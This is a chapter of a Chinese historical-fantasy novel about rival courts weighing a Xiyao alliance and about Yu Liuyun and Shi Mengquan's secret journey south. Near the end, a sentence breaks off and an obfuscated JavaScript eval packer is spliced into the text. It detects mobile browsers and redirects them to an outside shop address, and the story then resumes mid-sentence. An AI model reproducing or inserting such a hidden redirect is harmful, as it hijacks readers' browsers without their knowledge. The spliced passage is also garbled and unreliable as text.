符雅道:“大人就别为冷将军的事心烦了,其实你不必先去找他澄清——你看,这盟书上所说的,都于我国有利处。不是实际的利处,也有脸面上的利处。既然段青锋不想把此事张扬出去,大人就只需和太子殿下禀报,然后由太子召集两殿,作急务处理。牵涉的人越少,就越不容易再横生枝节。若能尽快将盟约定下,就不怕将内情说出——到时候冷将军也只能吃了这个哑巴亏,难道他还当真去西瑶找人家的麻烦么?” 程亦风一愕:“哎呀,我都被急糊涂了,怎么没想到?小姐说的没错,只要尽快把盟约定下了,一切都迎刃而解——晚了,冷千山手下什么人也‘认出’玉旒云来,可不把笑话闹大了!” 符雅道:“我也是随便说的。大人看着能办,再好不过。” “能办,能办!”程亦风道,“符小姐真是程某的救星!”说着,到桌边坐下,铺开纸,打算写一封条陈,将这盟约的利害阐述明晰,次日好交给竣熙。符雅见童仆兀自昏睡不醒,就亲来伺候笔墨。同时,程亦风一边写,她就一边读,遇到不明的,就提出来质问,力求将这条陈写得滴水不漏。 不知不觉,夜已深了,那童仆才幽幽转醒,揉了揉眼睛,惊道:“咦?符小姐您什么时候来的?这是什么时辰了?” 他本无心的一句话,却蓦地叫程亦风心里一虚,道:“你偷懒睡觉,还好意思问?快给小姐和我上两杯茶来!” 童仆应声而去,出门没多远,又道:“哎呀,大人,是三杯茶!公孙先生来了!” “哎哟,凉城热闹,大人家里也热闹。”符雅笑着,同程亦风一同起身迎公孙天成。 “夜这么深了,先生有急事么?”程亦风问。 公孙天成点点头,面色阴沉:“老朽去查了查这几个月来探子回报的消息。玉旒云最后一次出现在樾国禁宫是上个月底的事。探子报信是十天一次,飞鸽千里。八月十日的信上说玉旒云还‘郊游未回’,倘若她七月底出发,快马加鞭,这时的确是应该到凉城了。只不过,若这样算她的行程,昨天的那场戏应该不是她的杰作。” “先生别再执着那场闹剧啦。”程亦风道,“那玉旒云也是假的呢!”当下,把段青锋不请自来的事又说了一回——他口干舌燥,暗暗埋怨童仆手脚不利索。 公孙天成听了,诧异不已:“还有这种事?大人确信那就是段青锋么?” 程亦风道:“他有一双绿眼睛,拿着西瑶皇帝的令牌,符小姐也见了他的面,鉴定出西瑶所用的丝帛和墨汁,应该是假不了的。” 公孙天成道:“他说要结盟,都提了些什么条件?” “盟书在此,”程亦风道,“请先生过目。” 公孙天成先一目十行地扫了一回,又细细研读。程亦风在一旁把他和符雅的计划告诉老先生:小范围解决此事,不让冷千山插手,待盟约定下,就说出事实真相。 可公孙天成却边看边摇起了头来。 程亦风道:“怎么,我的计划有何不妥么?” “不是大人的计划不妥当。”公孙天成道,“而是这结盟条件——未想到西瑶这蛮荒小国原来倒很阴险。” “此话怎讲?” 公孙天成指着那满篇水灾海啸:“若西瑶是我属国,帮助他们兴修水利,赈济灾民,出银,出工,出药,出郎中,我朝都义不容辞。然而西瑶已经宣布独立了,此次又要作为另一个对等的国家来与我结盟。要让我们给盟国提供这许多帮助,实在……不合规矩。” “结盟就是双方得利嘛。”程亦风道,“西瑶水师步兵帮助我抵抗樾军,我国帮他们老百姓做些实事,也无不可。” “有西瑶水师步兵相助当然是好事。”公孙天成道,“不过,他们提出的这许多条件若真都照着做,那就好像把水蛭放到了自己身上,迟早要被吸干了血!” 程亦风道:“晚生不明白先生的意思。我楚国是天朝大国,礼仪之邦,看到邻国百姓受苦,岂有袖手之理?过往左近小国如婆罗门、蓬莱,朝廷扶助他们,丝毫不求回报。如今西瑶要以兵队来回报,怎么反尔……” 公孙天成打断了他的话:“大人应该知道我朝纵然苛捐杂税众多,依然国库空虚。为何花消如此之大,除了官僚庞杂冗余,贵族奢侈无度,僧侣泛滥成灾之外,这‘天朝上国,礼仪之邦’的帽子也累得我们不轻——蓬莱国来了学生,吃、住、用都由朝廷出,婆罗门国来了和尚,吃、住、用也都由朝廷出。长此以往,朝廷是挣足了面子,却也用空了荷包——如今西瑶可好,狮子大开口了,水利工程要我们修,旱涝灾害要我们赈,瘟疫疾病要我们医——这就是吃定了咱们上‘天朝上国,礼仪之邦’。最后这条允许他们的边民来我境内耕种,这更加是居心叵测了。依照大人的新法,他们开垦荒地,起初不需要交税。等过个三年五年,地也种熟了,该交税的时候,他们翻脸不认——那时,天江说不定都被西瑶划到他们自己国境里去了。玉旒云是真刀真枪地来明争,西瑶就使这种阴招来暗夺——结盟?哪里安了好心呢!” 程亦风仔细想了想公孙天成的话,虽然不无道理,但是就此拒绝西瑶的提议,也…… 符雅替他道出了心中的忧虑:“虽然段世子说过,大家买卖不成仁义在,就当什么也没发生……然而,真能如此么?万一西瑶人转过头来跟樾国结盟了怎么办?” 公孙天成自然也虑到了这一层:“盟要结,条件全都要答应——但是可以一条也不兑现。” “那怎么行?”程亦风惊道,“我泱泱大国,岂能有此无赖行经?” 公孙天成道:“他不仁,我不义。看这盟书就知道了。西瑶本就是为了从我朝图些便宜才说结盟的,根本就没想要帮我们抗击樾人。甚至,听大人方才的经历,我看西瑶人暗里打算脚踩两只船——大人请向,他们若正正经经与我国议盟,便是让樾国知道了,又如何?樾国看到我两国结盟,只有更忌惮的。就算盟约不成,樾国记恨我两国,发兵来打,首当其冲的也是我楚国,与他西瑶有和干系?如此鬼鬼祟祟,必是因为他们盘算着,若和我国结盟不成,他们就可转和樾人狼狈为奸。如今的天下,除了那苟延残喘的郑国和未成气候的漠北蛮族之外,马马虎虎可以算是鼎足三分。西瑶的这股力量稍微弱一些。不过,在楚樾之争中,单凭我两国各自的实力,谁也不可能立刻就把对方吞了。但任何一方联合上西瑶,那就不同了。” 符雅觉得公孙天成分析得甚有道理,惭愧自己年轻学浅,却满以为远见卓识地给了程亦风错误的建议。若非公孙先成及时来了,这一夜条陈写就,明天无论廷议如何,获利的都只有西瑶而已。“先生分析了这许多,符雅可不及先生缜密。不过,符雅想,无论如何,不能让西瑶投到樾国那一边去。换言之,无论如何都需要与西瑶结盟。但先生若不答应这盟书上的条件,或者是心口不一,阳奉阴违,西瑶人不是傻瓜,怎么会听之任之?” 公孙天成欣赏她能从一团乱麻中找到问题的症结所在。“答应条件是个权宜之计。。当务之急,是让西瑶人明白,只有和我国结盟共同对抗野心勃勃的樾人,他们才能继续生存下去。否则,一旦我楚国失陷,下一个遭殃的就是西瑶。” 楚国失陷,程亦风想也不敢想这事。 “左右我夜里还要回宫去。”符雅道,“不如我去把这事告诉太子?连夜就定下来,明日再去两殿过个场?” “太子是要见。”公孙天成道,“不过,两殿、六部、翰林院——这程序就不用走了。反正我们只是要太子在盟书上用印,好去和西瑶使节有个交代。先将他们稳住了,再陈述厉害不迟。” “正是。”程亦风想,若当真经两殿、六部商议,翰林院起草诏书诏告天下,那时再出尔反尔,岂不成了笑柄? “而且这样也快些。”公孙天成道,“或许能赶在段青锋没走的时候……他这么急着要赶回西瑶去……” “先生又怀疑什么?”符雅问。 公孙天成从怀里抽出通缉文榜来,抖开了:“你们真的相信这个玉旒云是段青锋叫人假扮的么?” “怎么?”程亦风道,“难道段青锋撒谎?我可没有跟他说那是玉旒云,他自己交代的——可见这事是他一手策划。” 公孙天成道:“这才可疑。你都没有说,段青锋怎么会知道我们认出这是玉旒云?除非他自己也见过玉旒云了。” “那也许见过画像?” 公孙天成笑道:“画像?樾国皇帝似乎是很想把玉旒云嫁出去,她的画像传到段青锋手里也不稀奇。但是,段青锋一个大男人,搜集石梦泉的画像做什么?” 程亦风不响:段青锋有心袒护玉旒云?这算什么道理?啊呀!他心中猛然一紧:脚踩两只船!莫非段青锋是约了玉旒云南下商谈结盟的? 公孙天成知道他想通了,于是也不再多说:“究竟是如何,还说不准呢。看看小莫那里会不会有动静吧!” 以为将眼睛死死盯在所谓的奸细身上,就能找到玉旒云的行踪,公孙天成算是又走错一步。因为玉旒云这此出门,除了跟庆澜帝说过之外,旁人一概不知——就连玉朝雾皇后也以为妹妹是跟石梦泉打猎去了。 当日在赵王府见到蟠龙佩,玉旒云很想立刻去四海阁寻那两个西瑶人了。然而赵王还在京里,她并不敢轻举妄动,只能耐着性子等石梦泉安排岑远去北疆赵王的“后院”放火。 岑远本以为自己死定了,结果竟只是降职,不禁喜出望外。临行前特地到玉旒云家里来表忠心:“多谢爵爷给卑职一个将功补过的机会。卑职一定不会让爵爷失望的。” 玉旒云一如既往,冷冷淡淡,道:“光嘴上说有什么用?岑广老将军也算是为我国立下汗马功劳的大英雄,你如果不想坏了你们岑家的名声,就拿了蛮族可汗的头颅回来见我。否则——给你一次机会,又给你一次机会,不会再有第三次了。” 岑远自然叩头答应。于是就起程赴北疆。果然如石梦泉所料,这贪功之人一到北方就偷袭蛮族,战火点燃,一发而不可收拾。 消息传回西京,赵王父子立刻奔赴前线。庆澜帝亲自给他们饯行。愉郡主和父亲同哥哥才团聚不久又要分开,少不得哭哭啼啼的。悦敏即打趣她道:“你就快不是我家的人了——不是说女心外向吗?还哭什么?” 愉郡主气得擂他几拳:“谁说的?” 悦敏边讨饶边笑:“我哪里说错了?难不成,是叫石兄弟来做上门女婿么?这可要石兄弟答应才行!” 愉郡主羞红了脸,扑上去还要再打。而悦敏身手敏捷,一跃,已上了马背:“皇上,北疆交给父王和臣,您就放心吧!”说罢,一夹马腹,驰到他那队亲兵的最前端。赵王也从另一侧打马上来,一声令下,父子二人即带着队伍出城而去。 玉旒云先一直在冷眼旁观,见愉郡主淌眼抹泪地朝这边来了,就偏过头去轻轻地在石梦泉耳边说道:“看来你又要有事忙了!” 石梦泉哪有心情开玩笑:“大人,下一步……” 玉旒云抬起了一只手,打断他:“下一步你拖住这个讨厌的郡主,我就到四海阁去会会咱们的西瑶朋友。” “可是……”石梦泉还不及提出异议,愉郡主已经到了跟前,双眼红红的。玉旒云即冷冷的,略带狡黠地一笑,拍了拍挚友的肩膀,意思是:你晓得怎么做了?然后,径自转身离开。 她当然是直奔四海阁。可是到了那里,四海阁的官员却说,西瑶使者三天前就起程回国了。她不禁满心失望。可那官员又道:“蓝大人有件礼物是送给赵王爷新女婿的。下官本来想送上门去,但蓝大人说,石将军会自己来拿——既然玉大人来了,那带回去也是一样的。” “哦?”玉旒云不由感到心中一亮,忙叫那官员将礼物拿来,见是一盒茶叶,还有一串鲜红的穗子。她先愕了愕,但立刻就明白了过来,大喜过望,对官员匆匆道了声“有劳”,即又驰马回去找石梦泉。 石梦全那当儿才刚刚脱出了愉郡主的掌握,回到了家门口,还不及跨进门槛儿,就见玉旒云一人一马到了跟前。六月艳丽的阳光下,她身上就像有光芒一般。 “大人,四海阁那里……” 玉旒云一甩手:“接着!”既而翻身跃到了他的跟前:“是西瑶使者送给你的礼物,贺你订婚之喜。” 被她打趣得多了,石梦泉也不再放在心上:“送我?茶叶?穗子?这是什么意思?” 玉旒云拿起那穗子来:“你不记得这穗子了么?那天西瑶人上赵王府找玉佩,那红玉蟠龙佩上挂着的就是这条穗子呀。” 石梦泉仔细回想:果然! 玉旒云又打开那茶叶盒子来,只见里面的茶叶细长如针,银光闪闪,又有清香扑面而来,实在是稀奇。石梦泉不禁讶异道:“这是什么茶?” “这叫‘白毫银针’,”玉旒云回答,“是西瑶的一种名茶。” 石梦泉不是个风雅的人,对此没有研究。 玉旒云却饶有兴致地解释:“西瑶的好茶叶很多,上次赵王那老狐狸请咱们喝的叫‘云雾茶’,市价大概三十两银子一两。西瑶人送给皇上万寿节的,是‘凝碧茶’市价要三百两银子一两。而送给你的这种‘白毫银针’,是茶中极品,三千两银子也未必买得到一两呢!” “这么贵重?”石梦泉惊道,“送这茶给我,有什么用意?” 玉旒云嘻嘻一笑:“本来女子受聘嫁人叫‘吃茶’,看来人家西瑶使者也觉得你是要入赘赵王府的,所以特地送茶来贺你呀!” 石梦泉知她就喜欢拿这事来玩笑,就由着她“欺负”自己。 玉旒云看他不作声,捶了一拳道:“怎么?被愉郡主整哑了?好吧,我不同你胡扯了。他们特地送了这两样东西,是叫我们去西瑶跟他们议盟。” “去西瑶?你怎么知道?” 玉旒云嗅着那茶叶的清香:“这一个月来赵王盯我们盯得紧,什么事也做不成,正好在家里看书。我读了不少西瑶建国之前的旧事。他们的国民原是许多不同的部族,联横合纵,远交近伐。寻常的茶叶在普通百姓间作为聘礼,珍稀的茶叶就用在部族联姻中。久而久之,茶叶就成了西瑶人的信物。他们建国的重光大王和第一个盟友一起打天下时,就是以这种珍奇的‘白毫银针’作为信物。后来果然统一了南国各部,建立西瑶。” “你是说——”石梦泉明白了过来,“送赵王的虽然也是茶叶,但是却把‘白毫银针’送给了我们,明显的,西瑶人没打算和赵王联手,而是想跟我们合作?” 玉旒云笑着点点头:“咱们早先不也这样猜过么?果然是如此啊!赵王这老狐狸,再怎么穷折腾还是为他人做嫁衣裳。” 石梦泉知道玉旒云有无数大胆的想法,自己的责任是帮她看清脚身的陷阱和石头。于是问:“那么,何以见得是要我们去西瑶呢?” “就是这个穗子。”玉旒云让鲜红色从指间流过,“‘穗’的谐音就是‘随’,又是从那红玉蟠龙佩上拆下来的。意思可不就是要咱们随着那蟠龙佩去西瑶见他么?” “那个绿眼睛随从?” “他一定不是随从。”玉旒云道,“只可惜咱们在西瑶还没有探子,要不然就能查出他是谁了。” “那西瑶的书……” “西瑶的书都是楚人写的。”玉旒云道,“楚人养了那么多学究,就有这点好处——古人云,‘太上有立德,其次有立功,其次有立言’。学究们大多道貌岸然,‘德’是立不了的,又手无缚鸡之力,‘功’也立不了,只会夸夸其谈,那就去‘立言’了。而楚国科举考的是八股文章,除了圣人言之外,看什么书都没用。所以立了言,也都成了废纸——难得让我挖到了几句有用的——其实话说回来,就算不知道这茶叶的来历,我也会去西瑶一趟的。我觉得那绿眼男子给的暗示已经够多了——万寿早都过完了,他们却一直在京城耗着不走,又不见跟赵王有什么动作,似乎就是专门在等我们。” “话是这样说,”石梦泉道,“可若是为了等着和我们见面,为什么三天前突然走了呢?三天前不正是北方传来战报的日子么?他们应该知道赵王牵制了我们,战报一来,赵王必走,只要再等短短几日,就可同我们会面了呀!” 玉旒云冷冷一笑:“他们是故意的——我不是说了么?他们在西京耗着,只是为了给一个暗示,让我们再去四海阁寻他们,然后拿到这穗子和茶叶,接着,就到西瑶去。” “这怎么感觉想是有阴谋呢?”石梦泉道,“真要结盟,在西京不能谈么?我怕你到西瑶,他们会对你不利。” “他们敢!”玉旒云拈起一撮银针似的的茶叶,在指间揉了揉,这昂贵的礼物就趁了粉末,随风散落。“西瑶多行商,做茶马生意的甚多,连他们的朝廷都很懂得投机哩!这事……我都到了你家门口了,怎么不请我进去喝茶?莫非你想一人独占这好茶么?” 石梦泉听她莫名其妙地插进来这一句,好生不解:“哪里的话,大人请。”便将玉旒云朝里让。而正在此时,听背后一声娇喝:“好啊,石梦泉!说什么有要事要赶去兵部,原来是和玉旒云聊天!”竟是愉郡主到了。 难怪!那玉旒云突然说要进屋去,原来是避这小煞星!石梦泉自己是逃得更快。玉旒云在旁边强忍着不要笑出声来,一进院,就把大门关上了,吩咐门子“除非皇上来了,否则谁来也不开”,接着,朝石梦泉一笑,只着自己的鼻子道:“还不谢谢我?多亏我反应快!” 石们泉也不禁笑道:“果然,你逃得比我还快。只是,这样明目张胆地把愉郡主关在门外,就不怕……” “怕她去找赵王爷告状?”玉旒云哼了一声,“赵王自己也该明白这是一出‘拉郎配’——难不成你演戏演得‘戏假情真’了?”说时,紧紧地盯着挚友,眼神里似乎并不只有玩笑。 “哪……哪儿有的事!”石梦泉舌头差点儿打结,“这些日子以来,我一个头都变了两个大了。” “哼!”玉旒云道,“其实我又何尝看得下去?这丫头……待我收拾了她老子,下一个就轮到她!” 石梦泉觉得赵王虽然狡诈可恶,但愉郡主无论如何罪不至死。只是,看到玉旒云这样生气,他心中却暗暗有些高兴。 玉旒云又接着抱怨:“还有那该死的翼王,我迟早也要他好看!” 翼王,石梦泉对此人也是极厌恶的。玉旒云自从由武京外官成了武京内官,翼王有了更多机会纠缠不清——玉府的仆人光是每天朝外扔翼王强送来的礼物就要花不少功夫。半月前,玉旒云忍无可忍,叫人把东西全搬到了翼王府门口,当街叫卖,说是翼王玩乐无度,入不敷出,需要折变家私糊口,大大地出了这王爷一次丑。这些日子,他才老实了一些。但相信不用多久,又该有新花样了。 “算了,算了,提这些混帐人做什么?”玉旒云道,“反正都进来了,就泡点茶来尝尝——林大夫还住在你这里么?也请他喝一杯。” “好。”石梦泉因把茶叶交给仆人,又叫他去“请林大夫出来”——林枢因玉旒云举荐,做了“太医院院使”,本来应该在宫里当差,不过因为玉旒云早就打算留他在身边好行军时带着,所以现在是挂职赋闲。暂时还寄居在石梦泉家里。 玉、石二人即到厅里坐下。等着上茶的当儿,玉旒云接着方才说了一半的话题道:“西瑶人如意算盘打得响着呢。如今的天下,郑国算是名存实亡,蛮族还只懂得烧杀抢掠。大局上,我国、楚国相持不下,西瑶作壁上观,就像是一具天平。咱们和楚国一忽而上一忽而下,一时间难以分出个胜负来。而西瑶虽弱,却像一枚额外的砝码,它放到哪一边,哪一边就会取得彻底的胜利。他们因而要把这点力量卖个好价钱。” 石梦泉皱眉想了想:“你的意思,他们也向楚国示好了?想看看哪家出的价钱高?” 玉旒云摇头:“这我不肯定——兵家讲求远交近伐,他们和楚国结盟能有什么好处?他们本来是趁着咱们攻打楚国,楚人自顾不暇,这才脱离楚国而独立,若叫楚国在下一战中翻了身,难道不要同他们计较那‘属国’的事么?天下哪有人这么傻的?帮别人打一副精铁的枷锁来锁住自己?” 石梦泉道:“那么说,西瑶人是故意要做出些姿态来,表示他们才是这交易中自由的一方,好向咱们多要点儿好处?” “不错,”玉旒云道,“这就包括他们想我亲自上西瑶走一趟——而你所担心的阴谋嘛,我猜最多不过就是万一议盟不成,就把我扣下来,送给楚国。这个人情很大,楚国说不定能立刻答应西瑶所有的条件。” “这样你还要去?”石梦泉急道,“那礼物是西瑶人送给我的。人家的意思是叫我去。你不可冒险。” 玉旒云看他认真的样子,“扑哧”一笑,道:“西瑶人扣了我,你难道不来救我?凭你的本事,难道救不出我?” 石梦泉一怔:就是自己的性命不要,也得护了她的周全啊! 玉旒云不用他把这话说出口,也会意地微微一笑,道:“假如西瑶人扣了你,我也一样不会让他们好过的。不过,咱们不会给他们这样的机会。只要咱们两个一齐去,哪怕西瑶人个个三头六臂,也奈何不得咱们。” 看来她是心意已决,石梦泉知道劝是劝不住的,何况赵王把他们逼进了一个死角里,继续困守西京,做这个牢什子的“领侍卫内大臣”,绝对没有柳暗花明的可能。赵王多年来的策略一直都是“以守为攻”。玉旒云若和他对守,占不得丝毫的便宜。玉旒云长于攻击,她应该以攻为守。必要主动出击。西瑶也好别的什么也罢,她必须一试。而他,要时刻警醒的守在一边。 “那大人打算何时……” 话才问了一半,玉旒云突然抬手止住了他:“茶来了。” 其实来的不仅是茶,还有林枢。看来经过赵王和那灵芝之事,玉旒云对这大夫还是存了些戒心。 林枢似乎注意到了,冷淡地说道:“既然玉大人觉得下官在此妨碍你和石将军说话,何必还要叫下官前来呢?” 玉旒云似笑非笑:“天下都知道我是个疑心病重的人。你若自己坦荡荡,何必怕我猜疑?这里有上好的西瑶白茶,特请大夫你来尝尝。” 说时,仆人已将三碗茶分别送到各人面前。石梦泉看那茶水清亮,原本细如银针的茶叶现在展开了,犹如一朵白花在水中盛放,甚是夺目可人。 玉旒云端了茶杯在手清香扑面而来,叫人心旷神怡,便脱口赞叹:“真是好茶!” 林枢也取了自己那杯,呷了一口,道:“甘醇清冽,正是扶正祛邪的上品。” “哦?”玉旒云挺有兴趣,“扶正祛邪——梦泉,你上次病倒不就是因为邪毒入侵,以致‘肺气壅塞,血脉瘀滞’么?这茶能扶正祛邪,你可要多喝点儿。” 石梦泉难得病倒一次,竟叫玉旒云挂心了这么久,他不知该欢喜还是内疚,道:“我又不是纸糊的,早已好了。” 玉旒云佯作严厉地瞪他一眼:“少逞能了。说倒就倒下来的。你这样下去,我的大事怎么放心交到你手上?林大夫,你看他全好了没?还要不要多吃补药?” 林枢淡淡的:“两位大人都是行军打仗的,知道什么叫‘防患于未然’,人的身体也是一样,养生防病为上,吃药治病为下。” “你听——”玉旒云朝石梦泉直笑。 石梦泉便也报之以微笑,暗想,她如此关心我,我必爱惜自己,才能更好地保护她!因将那茶一饮而尽。 玉旒云见状,笑道:“有你这样品茶的么?简直是牛饮嘛!” 林枢对这两人的闲谈充耳不闻,继续说他的“养生之道”:“世人讲到养生,只知道养形,却不晓得养神。神乃形之主,仿佛一国之君,君昏于上,则国乱于下。太上养神,其次养形。” “大夫说得对极了。”玉旒云笑道,“这些日子以来,我们无所事事,听听戏,练练武,喝喝酒,品品茶——就像今天这样,可真够‘养神’的!” 林枢自饮茶:“养神重德,《内经》有云:‘夫恬淡寂寞,虚无无为,此天地之午,而道德之质也。’唯具此大德着,内外百病皆不悉生,祸乱灾害亦无由作。” 玉旒云皱起了眉头:这话怎么听来像是在讽刺自己? 不过林枢话锋一转,道:“医书上虽如此说,但世间众人都照此而行,无一个为天下操心,岂不要大乱?所以,所谓‘养神’之论,客气一点,可以说成是‘奢侈’,不客气一些,就根本是空谈。” “既然是空谈,你还拿来说给我听做什么?”玉旒云道,“虽然我请你喝茶,但你也不必要浪费口水。” 林枢道:“世间的许多大道理都是空谈,然而做不到的事情,不见得就不正确。恰恰是因为正确,又做不到,才更需要时常提出来,好叫我们不要忘记是非黑白。” 觉得他既像话中套话,又想没话找话,叫人生厌,玉旒云忍不住冷笑道:“林大夫原来在医术之外还通儒术理学,看来我不该荐你到太医院,该让皇上请你到翰林院才对。” 林枢知她是说反话嘲讽自己,却还不住口:“人做不到养神,只有养形,我们当大夫的才得以混口饭吃——玉大人既然不愿听下官说医术中的至理,下官就来说些雕虫小技好了——石将军的身体底子好,上次一场大病后,修养充分,已经痊愈了。今后只要注意饮食作息,想要再躺回病床上去,还没那么容易。倒是玉大人……” “怎么了?”玉旒云最不喜欢人家故弄玄虚。 “玉大人上次被打了一掌。”林枢慢条斯理,“本来我照伤处炎症来判断,这人内力修为尚浅,并没有造成什么大害。不过后来几次给玉大人把脉,却发觉大人的伤比下官想象的要重一些。下官以为,这是玉大人体弱,先天不足的原因。” 玉旒云斜睨了他一眼:“你什么意思?” 林枢道:“下官推测,玉大人出生时不足月,从小体弱多病,后来练武强身,功效也不大。直到十二、三岁上身体才渐渐好了起来——下官没有说错吧?” 这可真奇了!石梦泉惊讶地看着林枢:玉旒云过去身体的确不好,却偏偏喜欢逞强:读书必要读到深夜,一早又起来叫侍卫带着练武,也不知道病倒了多少次。玉朝雾皇后心疼得时常以泪洗面,日夜祈求菩萨保佑。还好,到了十二、三岁上,玉旒云病痛渐少,这几年,更是连伤风也几乎不见。他还以为是菩萨应许了玉朝雾的祈祷呢! 玉旒云不以为然地:“那便如何?” “不如何。”林枢道,“一个人的身体在少年时期是最好的,能维持这种状态的时间最多也就十来年。过了廿五岁就开始走下坡路了。照大人现在这样的拼命法,我看最多活三十五岁吧。” 玉旒云愣了愣:任谁听到别人预言自己的死亡都不会好像耳旁风。她盯着林枢,不知这大夫究竟是何用意。 石梦泉的面色却骤然变了:“大夫,那有什么根治的法子么?” “下官是大夫,不是掌管生死簿的阎罗王。”林枢冷淡地道,“一个人的先天如何,我可没有改变的法子。好比有人出生时就少了一只手,怎么可能再变一只手出来?因此‘根治’是不可能的。不过,调理得当要活到五十岁却也不是什么难事。” “果真?”石梦泉忙要问如何调理。 可玉旒云却冷笑一声道:“装神弄鬼危言耸听。我请你来当我的医官,可没有请你来当保姆。既然你口称‘下官’,就该听我的命令。现在茶也喝过了,你可以出去了。” “大人……”石梦泉忙要劝阻——自己的身体可不能拿来意气用事。 不过玉旒云面若寒霜,根本不留商量的余地,而林枢也没有好言相劝的意思,放下茶杯即退了出去。 “大人!”石梦泉急道,“忠言逆耳,良药苦口。林大夫说话就是这个样子,但是听听也没有害处啊!” 玉旒云不声不响地品着茶,仿佛是在生闷气,过了一会儿,才道:“我就是讨厌他这个样子,虽然本领是有的,但是全然一副天下人都要听从他指示的样子——我要降伏他,要不然怎么用?” “话是这样说,”石梦泉道,“但是……” “但是什么?”玉旒云有点儿不耐烦地,“你也觉得我只能活三十五岁么?真是笑话!” 石梦泉方要说“小心无大过”,玉旒云却又接着说道:“就算只是三十五岁又怎样?我二十五岁就要拿下楚国来。那之后如何,才懒得去操心。” 这话没的叫石梦泉心里猛地一疼。他知道她有仇恨,她有秘密,但是他未想到她会有如此厌世的想法。若拿下楚国之后,一切都不再有意义,他宁愿永远不要拿下楚国。 见他神色凝重,玉旒云突然又笑了起来:“我随口说说,你怎么脸都青了?要死的又不是你。” 这也好“随口说说”的么?石梦泉差点儿不故尊卑地跳起来责备她。 玉旒云还接着笑:“你放心好了。拿下楚国之后,日子还长着呢——我不过是要降伏这个姓林的,然后令他乖乖地想法子让我活到五十岁,一百岁。” 真是魂也被吓掉了半条!石梦泉舒了口气。 可玉旒云凝视着水中花一般的白茶,又幽幽地说道:“其实,就算他没有办法也不见得是坏事。我真活到了五十岁、一百岁,到时候姐姐也不在了,你也不在了,我一个人活着还有什么意思?” 石梦泉应到这话,心里不知是怎样的滋味——他要保护她,陪伴她,直到自己生命的最后一刻,直到她生命的最后一刻,直到世界消失的时候,永远也不让她孤单,不让她受伤害……这千言万语,让他周身热血沸腾,可是,一句话也说不出来。 玉旒云不知他的心意,只笑了笑,道:“咱们还是继续商量去西瑶的事吧。” 按照玉旒云的计划,这事只说给庆澜帝一人知道。她和石梦泉又故意在京城四周名胜游览了一段日子,一则使人对他们离京习以为常不再起疑,二则让西瑶方面觉得樾国也不是那样急迫地想要结盟,可煞煞他们的傲气。如此一直到了七月末,才终于以打猎为名,正式离京。玉朝雾皇后听到了,信以为真,担心又不无埋怨地说道:“打猎有围场嘛,何必非要自己到深山老林里去?也不多带几个人,万一遇到了野兽……” 玉旒云只笑道:“有梦泉一个还不够么?人多了,箭矢乱飞,那才不安全呢!” 玉朝雾只好作罢。而玉旒云和石梦泉就带着庆澜帝亲笔的国书,直奔南方。 两人都是微服,混在商旅之中过了大青河——楚樾虽交战,但是两国通商之港还未关闭——尤其,刘子飞和吕异在和杀鹿帮进行所谓的“和谈”,大青河有种和平的假象。不过,来往商人多是西瑶人,或者是一些因为故国已灭,自己也不知道自己属于哪国之人,无非赚钱而已。楚人和樾人则彼此憎恨,大有老死不相往来之势。 玉、石二人到了楚境,无人发觉。他们也就大摇大摆地走楚国贯穿南北的官道“通天道”。到了中秋前日,便入了凉城地界。因为所雇的车夫是凉城人氏,给再多银子也不愿赶路,非得回家团聚不可。“两位公子也是急着想赶回家去,怎么就不体会小人的难处呢?”赶车的道,“再说,这一天的时间,二位无论如何不可能赶到西瑶的,总还得十天半个月呢。倒不如在凉城凑个热闹。” 石梦泉本是无所谓赶不赶路。只是在他看来,最好还是休息一日——自从林枢说了那番话之后,玉旒云稍微有点儿什么不对劲,他都担心不已。 然而玉旒云却一点儿也不想在楚国多耽搁。她曾暗地里说过:“我踏上楚国的土地,应该是以占领者的身份。”对大青河,她多少还有些耿耿于怀。 只是此时却也别无他法,纵然不用此人的车,也得进凉城再买马前进。值此中秋佳节之际,马贩子还不一定开张呢! 赶车的问:“怎样?两位公子还是进凉城吧?那里的好去处我都晓得,随你是要吃好菜,喝好酒,找姑娘,还是寻个舒服的客栈——我全都……” 未说完,却被玉旒云打断了:“我们不进凉城,你载我们去芙蓉庙。” 芙蓉庙?石梦泉没听过这个名字——来之前,他们的路线是详细计划过的,但未曾提到过有“芙蓉庙”这个地方。 赶车的倒并没觉得奇怪:“哦?两位公子果然是风雅之人。凉城附近的读书人到了这时候都喜欢上芙蓉庙去呢——我们这些不识字的,就看不出有什么好。这时候,荷花可都谢光了呢,连叶子也枯了。” 玉旒云不答话。赶车的一边呼喝着牲口转向,一边道:“不过,现在天快晚了,你们去了,要走走玩玩,会赶不上回城呢!” 玉旒云道:“你不用管我们,自己回家就好。我们可在芙蓉庙借宿。”说时,扔过一锭银子去。 赶车的虽然觉得这位年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728619|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻公子冷冷淡淡不易接近,但既然有银子,就什么都好说,扬鞭催马,不多时,就载玉、石二人到了一处所在——道路两旁茂密的树林好像突然间消失了一般,地势凹陷了下去,看到疏疏落落的房屋,一片诺大的荷塘,对岸还有一处庄园。 “就在这里停吧。”玉旒云吩咐。 “可是,还有不少路呢……”赶车的道。 他话还没说完,玉旒云已经跃下车去。石梦泉自然紧随在后。 赶车的只好叹了口气:“两位公子中秋之后还雇我的车么上西瑶么?” “中秋之后再说吧。”玉旒云边说边往那荷塘走,“你不是那个会友转运行的么?我们要雇你的车,就上商行里找你。”话音落下时,已经走得远了。 果如那赶车的所言,距离荷塘还有不少路程。玉、石二人信步游来,到荷塘边时,已然是黄昏时分,天气晴好,漫天彩霞,变幻不定,倒映在水面空阔处,粼粼波光也绚丽斑斓。 “这里果然风景不错。”石梦泉道,“你怎么知道芙蓉庙这个地方的?” 玉旒云并不回答,只静静地在水边漫步。清风徐来,她衣袂飘飘,恍若仙人。 